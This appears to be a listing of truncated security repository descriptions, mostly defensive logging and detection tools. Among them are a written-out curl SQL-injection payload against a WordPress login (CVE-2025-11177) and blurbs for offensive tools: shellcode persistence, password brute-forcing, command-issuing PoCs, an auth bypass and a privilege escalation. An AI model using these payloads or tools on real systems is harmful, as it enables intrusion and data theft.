zeek-long-connections

Long Connections Zeek normally logs connections at the end of the connection, but this can cause trouble for incident responders in the case of very long lived connections that end up being unknown to defenders until too late. This package provides a new log named connlong which will log...

LeakGauge

LeakGauge This is the code repository for our paper: The Model's Tell: Measuring Context-Leakage Attack Signals with Behavior Gauges. ArXiv version and paper link: https://arxiv.org/abs/2608.17829 This repository implements the LeakGauge pipeline for leakage detection: demo dataset preparation,...

CVE-2025-11177

Trigger the SQLi with a time-based payload in the public login root@kitploit: curl -w '\nTIME:%timetotal\n' -s \ -d 'log=anything%27%3B%20SELECT%20pgsleep5%3B%20--&pwd=irrelevant&wp-submit=Log+In' \ -d 'redirectto=' \ -d 'testcookie=1' \ 'http://target/wp-login.php'...

Sentinel-GPT

Sentinel-GPT: Agentic AI for Threat Hunting 🛡️ An automated cybersecurity pipeline that transforms raw Azure logs into actionable intelligence using LLM-based reasoning. 📖 Overview Sentinel-GPT is an AI Agent specialised for threat hunting in cybersecurity. It is integrated with Azure Log Analytic...

SharpEventPersist

SharpEventPersist Persistence by writing/reading shellcode from Event Log. Usage The SharpEventPersist tool takes 4 case-sensitive parameters: -file "C:\path\to\shellcode.bin" -instanceid 1337 -source Persistence -eventlog "Key Management Service". The shellcode is converted to hex and written to...

DCSYNCMonitor

DCSYNCMonitor Description This tool is an application/service that can be deployed on Domain controllers to alert on Domain Controller Syncronization attempts. When an attempt is detected, the tool will write an event to the Windows Event Log. These events can be correlated in a SIEM. In addition...

patator

Patator Patator was written out of frustration from using Hydra, Medusa, Ncrack, Metasploit modules and Nmap NSE scripts for password guessing attacks. I opted for a different approach in order to not create yet another brute-forcing tool and avoid repeating the same shortcomings. Patator is a...

ALFA

ALFA Automated Audit Log Forensic Analysis for Google Workspace Copyright c 2026 Invictus Incident Response Original authors Greg Charitonos & BertJanCyber maintained by Invictus Incident Response Before you start A note on supported operating systems, ALFA is tested on several Linux distribution...

securityonion

Security Onion Security Onion is a free and open Linux distribution for threat hunting, enterprise security monitoring, and log management. It includes a comprehensive suite of tools designed to work together to provide visibility into your network and host activity. ✨ Features Security Onion...

ossec-hids

Información sobre OSSEC OSSEC es una plataforma completa para monitorear y controlar tus sistemas. Combina todos los aspectos de HIDS detección de intrusiones basada en host, monitoreo de registros y SIM/SIEM en una solución simple, potente y de código abierto. Visita nuestro sitio web para obten...

ossec-hids

OSSEC v4.3.0 Information about OSSEC OSSEC is a full platform to monitor and control your systems. It mixes together all the aspects of HIDS host-based intrusion detection, log monitoring and SIM/SIEM together in a simple, powerful and open source solution. Visit our website for the latest...

home_SOC_suite

Home SOC Suite — Night's Watch A personal Security Operations Center SOC built from scratch during an Anwendungsentwicklung retraining program. This suite monitors a Windows endpoint for network anomalies, resource spikes, process execution, registry changes, Security Event Log activity, schedule...

log-horizon

Microsoft Sentinel SIEM Log Source Analyzer I've had to answer "what are we actually getting out of these logs?" or "what is the recommended logs for Microsoft Sentinel" more times than I can count. The answer always depend on so many things, but we can be generic. So I built this thingy right...

watchguard-sso-client

Proof of Concept for Watchguard SSO Agent Vulnerabilitites CVE-2024-6592, CVE-2024-6593, CVE-2024-6594 Details are described in our advisories available at: CVE-2024-6592 CVE-2024-6593 CVE-2024-6594 The script requires the Python click library to run. Examples Issue Arbitrary Commands to SSO...

CVE-2023-34051

CVE-2023-34051 CVE-2023-34051 is an authentication bypass that bypasses the patch for VMSA-2023-0001. VMSA-2023-0001 for vRealize Log Insight includes the following CVEs: VMware vRealize Log Insight Directory Traversal Vulnerability CVE-2022-31706 VMware vRealize Log Insight broken access control...

CorelightForSecOps

Collect Corelight Sensor logs This document describes how you can collect Corelight Sensor logs by configuring the Corelight Sensor and a Chronicle forwarder. This document also lists the supported log types and supported Corelight versions. For more information, see Data ingestion to Chronicle...

cloud-audit

Project Introduction cloud-audit Cloud Security Audit Assistant is a tool for detecting the exploitation of leaked AK/SK from public cloud vendors. It periodically calls cloud platform APIs to audit logs and identifies suspected intrusions based on abnormal behavior, black features, and baselines...

VindicateTool

Vindicate -brightgreen An LLMNR/NBNS/mDNS Spoofing Detection Toolkit for network administrators What is Vindicate? Vindicate is a tool which detects name service spoofing, often used by IT network attackers to steal credentials e.g. Windows Active Directory passwords from users. It's designed to...

graylog2-server

Graylog Welcome! Graylog is a free and open log management platform. You can read more about the project on our website and check out the documentation on the documentation site. Issue Tracking Found a bug? Have an idea for an improvement? Feel free to add an issue. Contributing Help us build the...

logrotten

!WARNING This repository has been moved to https://codeberg.org/whotwagner/logrotten. Please visit the new location for the latest updates. Winning a race condition in logrotate to elevate privileges Brief description logrotate is prone to a race condition after renaming the logfile. If logrotate...